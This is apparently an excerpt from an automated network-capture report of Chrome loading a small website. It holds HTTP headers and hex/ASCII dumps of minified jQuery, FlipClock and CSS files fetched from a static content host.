2025-01-14 14:55:59 UTC	16384	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 2f 0a 69 66 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 3f 28 28 63 6f 6e 73 6f 6c 65 7c Data Ascii: /! jQuery JavaScript Library http://jquery.com/ * * Includes Sizzle.js * http://sizzlejs.com/ * * Copyright jQuery Foundation and other contributors * Released under the MIT license * http://jquery.org/license * */if(window.jQuery?((console\|
2025-01-14 14:55:59 UTC	16384	IN	Data Raw: 72 20 74 3d 5b 5d 2c 6e 3d 5b 5d 2c 72 3d 73 28 65 2e 72 65 70 6c 61 63 65 28 24 2c 22 24 31 22 29 29 3b 72 65 74 75 72 6e 20 72 5b 77 5d 3f 6f 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 69 29 7b 66 6f 72 28 76 61 72 20 61 2c 6f 3d 72 28 65 2c 6e 75 6c 6c 2c 69 2c 5b 5d 29 2c 73 3d 65 2e 6c 65 6e 67 74 68 3b 73 2d 2d 3b 29 28 61 3d 6f 5b 73 5d 29 26 26 28 65 5b 73 5d 3d 21 28 74 5b 73 5d 3d 61 29 29 7d 29 29 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 69 2c 61 29 7b 72 65 74 75 72 6e 20 74 5b 30 5d 3d 65 2c 72 28 74 2c 6e 75 6c 6c 2c 61 2c 6e 29 2c 74 5b 30 5d 3d 6e 75 6c 6c 2c 21 6e 2e 70 6f 70 28 29 7d 7d 29 29 2c 68 61 73 3a 6f 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 Data Ascii: r t=[],n=[],r=s(e.replace($,"$1"));return r[w]?oe((function(e,t,n,i){for(var a,o=r(e,null,i,[]),s=e.length;s--;)(a=o[s])&&(e[s]=!(t[s]=a))})):function(e,i,a){return t[0]=e,r(t,null,a,n),t[0]=null,!n.pop()}})),has:oe((function(e){return function(t){return
2025-01-14 14:55:59 UTC	2410	IN	Data Raw: 6e 20 4e 2e 61 63 63 65 73 73 28 65 2c 74 2c 6e 29 7d 2c 5f 72 65 6d 6f 76 65 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 4e 2e 72 65 6d 6f 76 65 28 65 2c 74 29 7d 7d 29 2c 70 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 64 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 61 3d 74 68 69 73 5b 30 5d 2c 6f 3d 61 26 26 61 2e 61 74 74 72 69 62 75 74 65 73 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 65 29 7b 69 66 28 74 68 69 73 2e 6c 65 6e 67 74 68 26 26 28 69 3d 52 2e 67 65 74 28 61 29 2c 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 26 26 21 4e 2e 67 65 74 28 61 2c 22 68 61 73 44 61 74 61 41 74 74 72 73 22 29 29 29 7b 66 6f 72 28 6e 3d 6f 2e 6c 65 6e 67 74 68 3b 6e 2d 2d 3b 29 6f 5b 6e 5d 26 26 30 3d 3d 3d 28 72 3d 6f 5b 6e 5d Data Ascii: n N.access(e,t,n)},_removeData:function(e,t){N.remove(e,t)}}),p.fn.extend({data:function(e,t){var n,r,i,a=this[0],o=a&&a.attributes;if(void 0===e){if(this.length&&(i=R.get(a),1===a.nodeType&&!N.get(a,"hasDataAttrs"))){for(n=o.length;n--;)o[n]&&0===(r=o[n]
2025-01-14 14:55:59 UTC	16384	IN	Data Raw: 62 65 72 5b 74 5d 3f 22 22 3a 22 70 78 22 29 2c 75 3d 28 70 2e 63 73 73 4e 75 6d 62 65 72 5b 74 5d 7c 7c 22 70 78 22 21 3d 3d 63 26 26 2b 6c 29 26 26 6a 2e 65 78 65 63 28 70 2e 63 73 73 28 65 2c 74 29 29 3b 69 66 28 75 26 26 75 5b 33 5d 21 3d 3d 63 29 7b 63 3d 63 7c 7c 75 5b 33 5d 2c 6e 3d 6e 7c 7c 5b 5d 2c 75 3d 2b 6c 7c 7c 31 3b 64 6f 7b 75 2f 3d 61 3d 61 7c 7c 22 2e 35 22 2c 70 2e 73 74 79 6c 65 28 65 2c 74 2c 75 2b 63 29 7d 77 68 69 6c 65 28 61 21 3d 3d 28 61 3d 73 28 29 2f 6c 29 26 26 31 21 3d 3d 61 26 26 2d 2d 6f 29 7d 72 65 74 75 72 6e 20 6e 26 26 28 75 3d 2b 75 7c 7c 2b 6c 7c 7c 30 2c 69 3d 6e 5b 31 5d 3f 75 2b 28 6e 5b 31 5d 2b 31 29 2a 6e 5b 32 5d 3a 2b 6e 5b 32 5d 2c 72 26 26 28 72 2e 75 6e 69 74 3d 63 2c 72 2e 73 74 61 72 74 3d 75 2c 72 2e 65 Data Ascii: ber[t]?"":"px"),u=(p.cssNumber[t]\|\|"px"!==c&&+l)&&j.exec(p.css(e,t));if(u&&u[3]!==c){c=c\|\|u[3],n=n\|\|[],u=+l\|\|1;do{u/=a=a\|\|".5",p.style(e,t,u+c)}while(a!==(a=s()/l)&&1!==a&&--o)}return n&&(u=+u\|\|+l\|\|0,i=n[1]?u+(n[1]+1)*n[2]:+n[2],r&&(r.unit=c,r.start=u,r.e
2025-01-14 14:55:59 UTC	12835	IN	Data Raw: 74 65 6e 74 22 3d 3d 3d 6e 26 26 28 6f 2d 3d 70 2e 63 73 73 28 65 2c 22 70 61 64 64 69 6e 67 22 2b 48 5b 61 5d 2c 21 30 2c 69 29 29 2c 22 6d 61 72 67 69 6e 22 21 3d 3d 6e 26 26 28 6f 2d 3d 70 2e 63 73 73 28 65 2c 22 62 6f 72 64 65 72 22 2b 48 5b 61 5d 2b 22 57 69 64 74 68 22 2c 21 30 2c 69 29 29 29 3a 28 6f 2b 3d 70 2e 63 73 73 28 65 2c 22 70 61 64 64 69 6e 67 22 2b 48 5b 61 5d 2c 21 30 2c 69 29 2c 22 70 61 64 64 69 6e 67 22 21 3d 3d 6e 26 26 28 6f 2b 3d 70 2e 63 73 73 28 65 2c 22 62 6f 72 64 65 72 22 2b 48 5b 61 5d 2b 22 57 69 64 74 68 22 2c 21 30 2c 69 29 29 29 3b 72 65 74 75 72 6e 20 6f 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 21 30 2c 69 3d 22 77 69 64 74 68 22 3d 3d 3d 74 3f 65 2e 6f 66 66 73 65 74 57 69 64 74 68 Data Ascii: tent"===n&&(o-=p.css(e,"padding"+H[a],!0,i)),"margin"!==n&&(o-=p.css(e,"border"+H[a]+"Width",!0,i))):(o+=p.css(e,"padding"+H[a],!0,i),"padding"!==n&&(o+=p.css(e,"border"+H[a]+"Width",!0,i)));return o}function ze(e,t,n){var r=!0,i="width"===t?e.offsetWidth
2025-01-14 14:55:59 UTC	16384	IN	Data Raw: 46 69 78 5b 74 5d 7c 7c 74 2c 69 3d 70 2e 70 72 6f 70 48 6f 6f 6b 73 5b 74 5d 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 69 26 26 22 73 65 74 22 69 6e 20 69 26 26 76 6f 69 64 20 30 21 3d 3d 28 72 3d 69 2e 73 65 74 28 65 2c 6e 2c 74 29 29 3f 72 3a 65 5b 74 5d 3d 6e 3a 69 26 26 22 67 65 74 22 69 6e 20 69 26 26 6e 75 6c 6c 21 3d 3d 28 72 3d 69 2e 67 65 74 28 65 2c 74 29 29 3f 72 3a 65 5b 74 5d 7d 2c 70 72 6f 70 48 6f 6f 6b 73 3a 7b 74 61 62 49 6e 64 65 78 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 70 2e 66 69 6e 64 2e 61 74 74 72 28 65 2c 22 74 61 62 69 6e 64 65 78 22 29 3b 72 65 74 75 72 6e 20 74 3f 70 61 72 73 65 49 6e 74 28 74 2c 31 30 29 3a 5a 65 2e 74 65 73 74 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7c 7c 65 74 2e 74 65 73 74 28 65 Data Ascii: Fix[t]\|\|t,i=p.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=p.find.attr(e,"tabindex");return t?parseInt(t,10):Ze.test(e.nodeName)\|\|et.test(e
2025-01-14 14:55:59 UTC	16384	IN	Data Raw: 26 26 28 65 2e 74 79 70 65 3d 22 47 45 54 22 29 7d 29 29 2c 70 2e 61 6a 61 78 54 72 61 6e 73 70 6f 72 74 28 22 73 63 72 69 70 74 22 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 69 66 28 65 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 29 72 65 74 75 72 6e 7b 73 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 61 29 7b 74 3d 70 28 22 3c 73 63 72 69 70 74 3e 22 29 2e 70 72 6f 70 28 7b 63 68 61 72 73 65 74 3a 65 2e 73 63 72 69 70 74 43 68 61 72 73 65 74 2c 73 72 63 3a 65 2e 75 72 6c 7d 29 2e 6f 6e 28 22 6c 6f 61 64 20 65 72 72 6f 72 22 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 2e 72 65 6d 6f 76 65 28 29 2c 6e 3d 6e 75 6c 6c 2c 65 26 26 61 28 22 65 72 72 6f 72 22 3d 3d 3d 65 2e 74 79 70 65 3f 34 30 34 3a 32 30 30 2c 65 2e 74 79 70 65 29 7d 29 2c Data Ascii: &&(e.type="GET")})),p.ajaxTransport("script",(function(e){var t,n;if(e.crossDomain)return{send:function(i,a){t=p("<script>").prop({charset:e.scriptCharset,src:e.url}).on("load error",n=function(e){t.remove(),n=null,e&&a("error"===e.type?404:200,e.type)}),
2025-01-14 14:55:59 UTC	16384	IN	Data Raw: 74 2b 6e 7d 2c 65 61 73 65 4f 75 74 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 2c 69 29 7b 72 65 74 75 72 6e 20 72 2a 28 28 74 3d 74 2f 69 2d 31 29 2a 74 2a 74 2a 74 2a 74 2b 31 29 2b 6e 7d 2c 65 61 73 65 49 6e 4f 75 74 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 2c 69 29 7b 72 65 74 75 72 6e 28 74 2f 3d 69 2f 32 29 3c 31 3f 72 2f 32 2a 74 2a 74 2a 74 2a 74 2a 74 2b 6e 3a 72 2f 32 2a 28 28 74 2d 3d 32 29 2a 74 2a 74 2a 74 2a 74 2b 32 29 2b 6e 7d 2c 65 61 73 65 49 6e 53 69 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 2c 69 29 7b 72 65 74 75 72 6e 2d 72 2a 4d 61 74 68 2e 63 6f 73 28 74 2f 69 2a 28 4d 61 74 68 2e 50 49 2f 32 29 29 2b 72 2b 6e 7d 2c 65 61 73 65 4f 75 74 53 69 6e 65 3a 66 75 6e 63 74 69 Data Ascii: t+n},easeOutQuint:function(e,t,n,r,i){return r((t=t/i-1)tttt+1)+n},easeInOutQuint:function(e,t,n,r,i){return(t/=i/2)<1?r/2ttttt+n:r/2((t-=2)tttt+2)+n},easeInSine:function(e,t,n,r,i){return-rMath.cos(t/i*(Math.PI/2))+r+n},easeOutSine:functi
2025-01-14 14:55:59 UTC	14808	IN	Data Raw: 64 69 76 69 64 65 72 22 2c 64 6f 74 3a 22 66 6c 69 70 2d 63 6c 6f 63 6b 2d 64 6f 74 22 2c 6c 61 62 65 6c 3a 22 66 6c 69 70 2d 63 6c 6f 63 6b 2d 6c 61 62 65 6c 22 2c 66 6c 69 70 3a 22 66 6c 69 70 22 2c 70 6c 61 79 3a 22 70 6c 61 79 22 2c 77 72 61 70 70 65 72 3a 22 66 6c 69 70 2d 63 6c 6f 63 6b 2d 77 72 61 70 70 65 72 22 7d 2c 63 6c 6f 63 6b 46 61 63 65 3a 22 48 6f 75 72 6c 79 43 6f 75 6e 74 65 72 22 2c 63 6f 75 6e 74 64 6f 77 6e 3a 21 31 2c 64 65 66 61 75 6c 74 43 6c 6f 63 6b 46 61 63 65 3a 22 48 6f 75 72 6c 79 43 6f 75 6e 74 65 72 22 2c 64 65 66 61 75 6c 74 4c 61 6e 67 75 61 67 65 3a 22 65 6e 67 6c 69 73 68 22 2c 24 65 6c 3a 21 31 2c 66 61 63 65 3a 21 30 2c 6c 61 6e 67 3a 21 31 2c 6c 61 6e 67 75 61 67 65 3a 22 65 6e 67 6c 69 73 68 22 2c 6d 69 6e 69 6d 75 Data Ascii: divider",dot:"flip-clock-dot",label:"flip-clock-label",flip:"flip",play:"play",wrapper:"flip-clock-wrapper"},clockFace:"HourlyCounter",countdown:!1,defaultClockFace:"HourlyCounter",defaultLanguage:"english",$el:!1,face:!0,lang:!1,language:"english",minimu
2025-01-14 14:55:59 UTC	1576	IN	Data Raw: 43 6c 6f 63 6b 2e 4c 61 6e 67 2e 64 61 6e 69 73 68 3d 46 6c 69 70 43 6c 6f 63 6b 2e 4c 61 6e 67 2e 44 61 6e 69 73 68 2c 6a 51 75 65 72 79 2c 46 6c 69 70 43 6c 6f 63 6b 2e 4c 61 6e 67 2e 47 65 72 6d 61 6e 3d 7b 79 65 61 72 73 3a 22 4a 61 68 72 65 22 2c 6d 6f 6e 74 68 73 3a 22 4d 6f 6e 61 74 65 22 2c 64 61 79 73 3a 22 54 61 67 65 22 2c 68 6f 75 72 73 3a 22 53 74 75 6e 64 65 6e 22 2c 6d 69 6e 75 74 65 73 3a 22 4d 69 6e 75 74 65 6e 22 2c 73 65 63 6f 6e 64 73 3a 22 53 65 6b 75 6e 64 65 6e 22 7d 2c 46 6c 69 70 43 6c 6f 63 6b 2e 4c 61 6e 67 2e 64 65 3d 46 6c 69 70 43 6c 6f 63 6b 2e 4c 61 6e 67 2e 47 65 72 6d 61 6e 2c 46 6c 69 70 43 6c 6f 63 6b 2e 4c 61 6e 67 5b 22 64 65 2d 64 65 22 5d 3d 46 6c 69 70 43 6c 6f 63 6b 2e 4c 61 6e 67 2e 47 65 72 6d 61 6e 2c 46 6c 69 Data Ascii: Clock.Lang.danish=FlipClock.Lang.Danish,jQuery,FlipClock.Lang.German={years:"Jahre",months:"Monate",days:"Tage",hours:"Stunden",minutes:"Minuten",seconds:"Sekunden"},FlipClock.Lang.de=FlipClock.Lang.German,FlipClock.Lang["de-de"]=FlipClock.Lang.German,Fli

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49839	143.204.98.14	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:55:59 UTC	594	OUT	GET /t/theme25/css/trunk-1024.min.css?v=1040 HTTP/1.1 Host: static.web-repository.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://mighty-calm-plum-toucan.easy2.de/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:55:59 UTC	537	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 1907 Connection: close Date: Wed, 08 Jan 2025 07:24:51 GMT Last-Modified: Fri, 13 Dec 2024 09:55:36 GMT ETag: "5d8f6f2837258c41ec395430c85d03d9" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=31536000 Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 24475cc722041223cf99f56b55432566.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA50-C1 X-Amz-Cf-Id: FeplK1MJoWpUHPgF4m5gVPZHtEnNMb8pXLsk7kB0pf9rqTIpvYsiRQ== Age: 545469
2025-01-14 14:55:59 UTC	1907	IN	Data Raw: 2e 67 72 69 64 2d 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 39 30 25 7d 23 63 75 73 74 6f 6d 65 72 49 6e 66 6f 46 6f 72 6d 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 34 30 70 78 7d 2e 62 6c 6f 67 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 67 72 69 64 2d 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 7d 2e 74 68 65 6d 65 20 2e 70 72 6f 66 69 6c 65 2d 77 72 61 70 70 65 72 7b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 2e 74 68 65 6d 65 20 2e 70 72 6f 66 69 6c 65 2d 73 69 64 65 62 61 72 7b 70 61 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 7d 2e 74 68 65 6d 65 20 2e 70 72 6f 66 69 6c 65 2d 73 69 64 65 62 61 72 20 75 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 7d 2e 74 68 65 6d 65 20 2e 70 72 Data Ascii: .grid-content{width:90%}#customerInfoForm{padding-right:40px}.blog-container .grid-content{width:100%}.theme .profile-wrapper{flex-direction:column}.theme .profile-sidebar{padding:0;width:100%;border:none}.theme .profile-sidebar ul{margin-top:0}.theme .pr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49835	143.204.98.14	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:55:59 UTC	593	OUT	GET /t/theme25/css/trunk-768.min.css?v=1040 HTTP/1.1 Host: static.web-repository.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://mighty-calm-plum-toucan.easy2.de/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:55:59 UTC	538	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 47087 Connection: close Date: Wed, 08 Jan 2025 07:24:52 GMT Last-Modified: Fri, 13 Dec 2024 09:55:03 GMT ETag: "40a01e40049339000851dd2f6a76e89d" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=31536000 Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 bab8148a65b29113f79cf2725076287c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA50-C1 X-Amz-Cf-Id: SFd7kDwD79xi_amuyT4cZErQT3SX-AvzFdriyXzlR-6KcgET_mQovg== Age: 545468
2025-01-14 14:55:59 UTC	15846	IN	Data Raw: 2e 67 72 69 64 2d 63 6f 6e 74 65 6e 74 2d 73 74 6f 72 65 2e 73 6b 65 77 65 64 2d 62 61 63 6b 67 72 6f 75 6e 64 20 2e 70 72 6f 64 75 63 74 2d 62 6f 64 79 2d 63 6f 6e 74 61 69 6e 65 72 3a 61 66 74 65 72 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 6b 65 77 58 28 30 29 3b 6c 65 66 74 3a 30 7d 2e 6c 69 76 65 2d 74 68 65 6d 65 3e 64 69 76 3e 2e 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 7d 2e 6c 69 76 65 2d 74 68 65 6d 65 3e 2e 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 7d 2e 74 68 65 6d 65 20 2e 6e 61 76 69 67 61 74 69 6f 6e 2d 77 72 61 70 70 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 68 65 69 67 68 74 3a 61 75 74 6f 7d 2e 74 68 65 6d 65 20 2e 6e 61 76 69 67 61 74 69 6f 6e 2d 77 72 61 70 70 65 72 20 6e 61 76 2e 6f Data Ascii: .grid-content-store.skewed-background .product-body-container:after{transform:skewX(0);left:0}.live-theme>div>.content{margin-top:0}.live-theme>.content{margin-top:0}.theme .navigation-wrapper{position:relative;height:auto}.theme .navigation-wrapper nav.o
2025-01-14 14:55:59 UTC	16384	IN	Data Raw: 65 61 64 65 72 2d 73 74 79 6c 65 2d 37 20 6e 61 76 2e 6f 70 65 6e 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 74 68 65 6d 65 20 2e 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 32 20 2e 6e 61 76 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 7d 2e 74 68 65 6d 65 20 2e 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 31 20 6e 61 76 20 2e 73 68 6f 70 70 69 6e 67 2d 63 61 72 74 2c 2e 74 68 65 6d 65 20 2e 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 31 31 20 6e 61 76 20 2e 73 68 6f 70 70 69 6e 67 2d 63 61 72 74 2c 2e 74 68 65 6d 65 20 2e 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 31 32 20 6e 61 76 20 2e 73 68 6f 70 70 69 6e 67 2d 63 61 72 74 2c 2e 74 68 65 6d 65 20 2e 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 32 20 6e 61 76 20 2e 73 68 6f 70 70 69 6e 67 2d 63 61 72 Data Ascii: eader-style-7 nav.open{display:block}.theme .header-style-2 .nav-wrapper{display:table}.theme .header-style-1 nav .shopping-cart,.theme .header-style-11 nav .shopping-cart,.theme .header-style-12 nav .shopping-cart,.theme .header-style-2 nav .shopping-car
2025-01-14 14:55:59 UTC	14857	IN	Data Raw: 67 68 74 3a 34 36 70 78 21 69 6d 70 6f 72 74 61 6e 74 3b 77 69 64 74 68 3a 33 35 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6c 69 70 2d 63 6c 6f 63 6b 2d 64 69 76 69 64 65 72 7b 68 65 69 67 68 74 3a 34 36 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6c 69 70 2d 63 6c 6f 63 6b 2d 64 6f 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 39 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6c 69 70 2d 63 6c 6f 63 6b 2d 77 72 61 70 70 65 72 20 75 6c 7b 6d 61 72 67 69 6e 3a 30 20 32 70 78 7d 2e 66 6c 69 70 2d 63 6c 6f 63 6b 2d 77 72 61 70 70 65 72 20 75 6c 20 6c 69 20 61 20 64 69 76 20 64 69 76 2e 69 6e 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 7d 2e 74 68 65 6d 65 20 2e 6e 61 76 69 67 61 74 69 6f 6e 2d 77 72 61 70 70 65 72 7b 7a 2d 69 6e 64 65 78 3a 39 7d 2e Data Ascii: ght:46px!important;width:35px!important}.flip-clock-divider{height:46px!important}.flip-clock-dot{font-size:19px!important}.flip-clock-wrapper ul{margin:0 2px}.flip-clock-wrapper ul li a div div.inn{border-radius:2px}.theme .navigation-wrapper{z-index:9}.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49836	143.204.98.14	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:55:59 UTC	593	OUT	GET /t/theme25/css/trunk-480.min.css?v=1040 HTTP/1.1 Host: static.web-repository.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://mighty-calm-plum-toucan.easy2.de/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:55:59 UTC	538	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 10839 Connection: close Date: Wed, 08 Jan 2025 07:24:52 GMT Last-Modified: Fri, 13 Dec 2024 09:55:22 GMT ETag: "1876a14006d3e904ccf8fe7dd9bb4878" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=31536000 Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 e6d97713eb9b65f883e0f86b833878dc.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA50-C1 X-Amz-Cf-Id: oy7j5RkyszKzu6aC1vLPHrbnhqN5Q8Och4OAMWoPbqJThEqxYsUo-g== Age: 545468
2025-01-14 14:55:59 UTC	10839	IN	Data Raw: 2e 73 74 72 65 74 63 68 65 64 2d 6d 6f 62 69 6c 65 20 2e 67 72 69 64 2d 63 6f 6c 75 6d 6e 2c 2e 73 74 72 65 74 63 68 65 64 2d 6d 6f 62 69 6c 65 20 2e 67 72 69 64 2d 63 6f 6e 74 65 6e 74 2c 2e 73 74 72 65 74 63 68 65 64 2d 74 61 62 6c 65 74 20 2e 67 72 69 64 2d 63 6f 6c 75 6d 6e 2c 2e 73 74 72 65 74 63 68 65 64 2d 74 61 62 6c 65 74 20 2e 67 72 69 64 2d 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 70 6f 73 74 73 2d 6c 69 73 74 2d 77 72 61 70 70 65 72 20 2e 70 6f 73 74 2d 66 65 61 74 75 72 65 64 2d 32 2c 2e 70 6f 73 74 73 2d 6c 69 73 74 2d 77 72 61 70 70 65 72 2e 6c 69 73 74 54 79 70 65 30 20 2e 70 6f 73 74 2d 66 65 61 74 75 72 65 64 2d 32 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 30 7d 2e 70 6f 72 74 66 6f 6c 69 6f 2d 73 70 61 63 69 6e 67 Data Ascii: .stretched-mobile .grid-column,.stretched-mobile .grid-content,.stretched-tablet .grid-column,.stretched-tablet .grid-content{display:block}.posts-list-wrapper .post-featured-2,.posts-list-wrapper.listType0 .post-featured-2{min-height:0}.portfolio-spacing

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49847	143.204.98.14	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:00 UTC	569	OUT	GET /scripts/common/hit.js?v=1040 HTTP/1.1 Host: static.web-repository.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mighty-calm-plum-toucan.easy2.de/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:56:01 UTC	551	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 4287 Connection: close Date: Wed, 08 Jan 2025 05:55:39 GMT Last-Modified: Sat, 14 Sep 2024 07:33:34 GMT ETag: "992a5733b4c2be6d1420de5c99ae79bc" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=31536000 Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 b44e2902bb3501d47514e51618f1bda4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA50-C1 X-Amz-Cf-Id: KseS9CJYJrsBA8TuLGypdh4j2oVEMU-6kWS24civL212fOggFY8DTw== Age: 550822
